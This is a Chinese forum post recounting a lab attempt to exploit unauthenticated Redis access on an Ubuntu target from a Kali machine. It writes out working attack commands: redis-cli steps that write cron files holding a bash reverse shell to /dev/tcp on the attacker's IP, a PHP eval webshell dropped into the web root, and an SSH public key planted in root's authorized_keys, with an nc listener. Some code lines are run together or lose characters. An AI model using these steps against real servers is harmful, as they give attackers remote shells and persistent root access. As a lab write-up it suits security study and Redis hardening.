DevOps 记一次失败漏洞利用的经历

gm888 · November 18, 2019 · 52 hits

由于 redis 的配置不当导致攻击者可以利用该未授权访问漏洞去对服务器进行攻击,redis 服务默认端口为 6379 端口,在利用该漏洞的时候,由于服务器是 ubuntu 的原因,遇到了不少坑导致最终并没有利用成功,不像之前在 centos 环境下利用该漏洞时那样顺利,所以在这里记录一下。在理解这篇文章之前,可以先参考一下之前的解决 ubuntu 任务计划写 shell 失败的问题关于 ubuntu 和 centos cron 的一些区别这两篇文章

漏洞环境及搭建

ubuntu16.04(192.168.0.107):安装了 redis 服务的靶机,作为 redis-server

kali2.0(192.168.0.101):攻击者机器,同样安装了 redis,要使用 redis-cli 对未授权访问漏洞进行利用

该实验中 redis 的版本为 4.0.8,安装 redis 方法如下

12345
wget http://download.redis.io/releases/redis-4.0.8.tar.gztar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8makemake install(加入到用户环境变量/usr/local/bin)

ubuntu 安装完 redis 后,还需要修改 redis 配置文件 redis.conf 里面的几个地方

1.bind 127.0.0.1前面需要加上注释符,保证远程ip可以访问redis数据库
2.protected-mode要修改为no,否则远程连接数据库的ip执行不了数据库语句

mark
mark

尝试利用 linux 任务计划文件去反弹 shell

首先在 ubuntu 上开启 redis 服务

12
cd redis-4.0.8./src/redis-server redis.conf

mark

由于 redis 的默认配置会直接导致未授权访问,所以在 kali 上使用 redis-cli 去访问 ubuntu 靶机上的 redis 服务,这里看到可以直接进入 redis 的交互式 shell

12
cd redis-4.0.8./src/redis-cli -h 192.168.0.107 -p 6379

mark
现在尝试结合 linux 任务计划文件去反弹一个 shell 到自己的 kali 上面。

首先简单来说一下 linux 中的任务计划文件,简单来说,任务计划指的就是使系统定时的去执行一些我们设置的任务,来看一下该文件的格式

1
cat /etc/crontab

mark

里面的参数和一些符号含义如下

m:分钟 - 从0到59的整数
h:小时 - 从0到23的整数
dom:天 - 从1到31的整数 (必须是指定月份的有效日期)
mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)
dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)
user:指的是执行命令的用户
command: 需要执行的命令
星号()表示参数所有可用的值,如果为5个,就代表每分钟执行一次
符号“/”指定步进设置。“/<interger>”表示步进值,比如/2 * * * *代表每两分钟执行一次任务

ubuntu 下可以利用的 cron 有以下几个地方

/etc/crontab:该文件里面的任务计划可以直接执行
/etc/cron.d/:该目录下的任意文件都可以被当作任务计划去执行,并且避免了原先任务计划文件被覆盖的情况
/var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,不过需要有一个前提,就是该任务计划文件的权限必须为600

知道了以上的知识,可以通过 redis 未授权访问漏洞向 ubuntu 的/etc/cron.d目录下写任务计划文件去反弹 shell,首先在 kali 上监听端口等待连接,我的思路是这样的,首先向/etc/cron.d 下写一个任务计划文件 step1,文件内容为* * * * * root ln -s -f bash /bin/sh,首先将 ubuntu 的 cron 的 shell 环境由 dash 改为 bash,这样才可以使用交互式命令,之后再在/etc/cron.d目录下创建一个任务计划文件 step2,内容为* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1,也就是使用交互式的 bash 去反弹 shell 到 kali

1
nc -nvlp 7777

mark
接下来在 redis-cli 命令行输入

12345678
set aaa "nnnn* * * * * root ln -s -f bash /bin/shnnnn"
config set dir /etc/cron.dconfig set dbfilename step1save
set bbb "nnnn* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1nnnn"
config set dir /etc/cron.dconfig set dbfilename step2save

mark

这里有一个需要注意的地方就是在设置变量的时候,也就是设置任务计划文件里的内容时,n这个符号前后分别不能小于 2 个,否则文件内容里面的任务计划会出现乱码导致命令执行失败,这是其中一个坑,可以看到/etc/cron.d目录下分别成功创建了一个名为 step1 和 step2 的任务计划文件

文件内容分别为
mark

但是 shell 还是反弹失败了,/bin/sh的指向也没有修改成功,通过查看日志可以看到这一次的错误原因是ERROR (Syntax error, this crontab file will be ignored)

mark
mark
mark

这是由于 redis 向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos 会忽略乱码去执行格式正确的任务计划,而 ubuntu 并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用 redis 写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用 redis 未授权访问写的任务计划文件里都有乱码,这些代码来自 redis 的缓存数据

对于这一次失败的总结和看法

对于 ubuntu 环境下的 redis 未授权访问漏洞写任务计划反弹 shell 的利用,自己遇到了很多坑,自己都一一排查解决了,结果最终还是在乱码这个问题上失败了,也可以看出确实 ubuntu 在某些方面设计的还是要比 centos 安全的,虽然这次漏洞利用失败了,但是自己也学到了不少,对 centos 和 ubuntu 这两个系统的 cron 的区别以及一些其它的安全机制有了更深的认识,所以,虽然失败,但是这一切都是值得的

补充

既然在 ubuntu 下写任务计划反弹 shell 这种方法不可行是因为 ubuntu cron 的原因,那么还是可以尝试其它的一些方式去利用该 redis 未授权访问漏洞的,比如利用 redis 写 webshell 或者向服务器写入 ssh 公钥去远程登陆,下面来说一下 ubuntu 环境下的 redis 未授权访问漏洞的另外两种利用手法

利用 redis 未授权访问写 webshell

通过 redis 未授权访问漏洞向 ubuntu 的 web 跟目录下写入一个 webshell,然后要知道网站的根目录,在该测试环境下网站的根目录为/var/www/html,在 kali 的 redis-cli 的交互式 shell 下执行

1234
set aaa "nn<?php @eval($_POST['c1imber']);?>nn"
config set dir /var/www/htmlconfig set dbfilename shell.phpsave

mark
执行成功后可以看到在 ubuntu 的网站跟目录下成功写入了一个 webshell,如果想让 php 解析,需要安装libapache2-mod-php这个扩展

sudo apt-get install libapache2-mod-php

mark
mark

mark

利用 redis 未授权访问向远程服务器写入 ssh 公钥

ubuntu 想要 ssh 远程登陆,首先需要安装 openssh-server

1
apt-get install openssh-server

mark
然后需要 ubuntu 开放 22 端口允许 ssh 远程登陆并且开启密钥登陆,这里要修改 ubuntu 的openssh-server的配置文件/etc/ssh/sshd_config里的几个地方
mark

其中RhostsRSAAuthentication yes代表允许远程 RSA 认证登陆,也就是密钥登陆,AuthorizedKeysFile %h/.ssh/authorized_keys代表服务器公钥的存放位置,也是要利用 redis 未授权访问漏洞写入公钥文件的位置

修改完成后重启 ssh 服务

1
service ssh restart

之后在 ubuntu 的 root 目录下新建一个名为.ssh的目录

12
cd /rootmkdir .ssh

mark

接下来使用 kali 在本地生成一对密钥

1
ssh-keygen -t rsa

mark
mark
之后将公钥id_rsa.pub写入到一个文件内

1
(echo -e "nn";cat id_rsa.pub;echo -e "nn")>key.txt

mark
之后利用 redis 未授权访问漏洞将公钥写到 centos 的/root/.ssh/id_rsa文件中,首先

1
cat /root/.ssh/key.txt | ./src/redis-cli -h 192.168.0.107 -x set aaa

将刚刚生成的公钥设置给 redis 里的变量 aaa
mark
接下来在 kali 的 redis-cli 的交互式 shell 下执行

123
config set dir /root/.sshconfig set dbfilename authorized_keyssave

mark

执行完毕后会在 ubuntu 服务器的/root/.ssh目录下生成一个authorized_keys的公钥文件,利用这个公钥文件就可以远程连接这台 ubuntu 了
mark

ssh 远程连接

1
ssh 192.168.0.107

mark

No Reply at the moment.
You need to Sign in before reply, if you don't have an account, please Sign up first.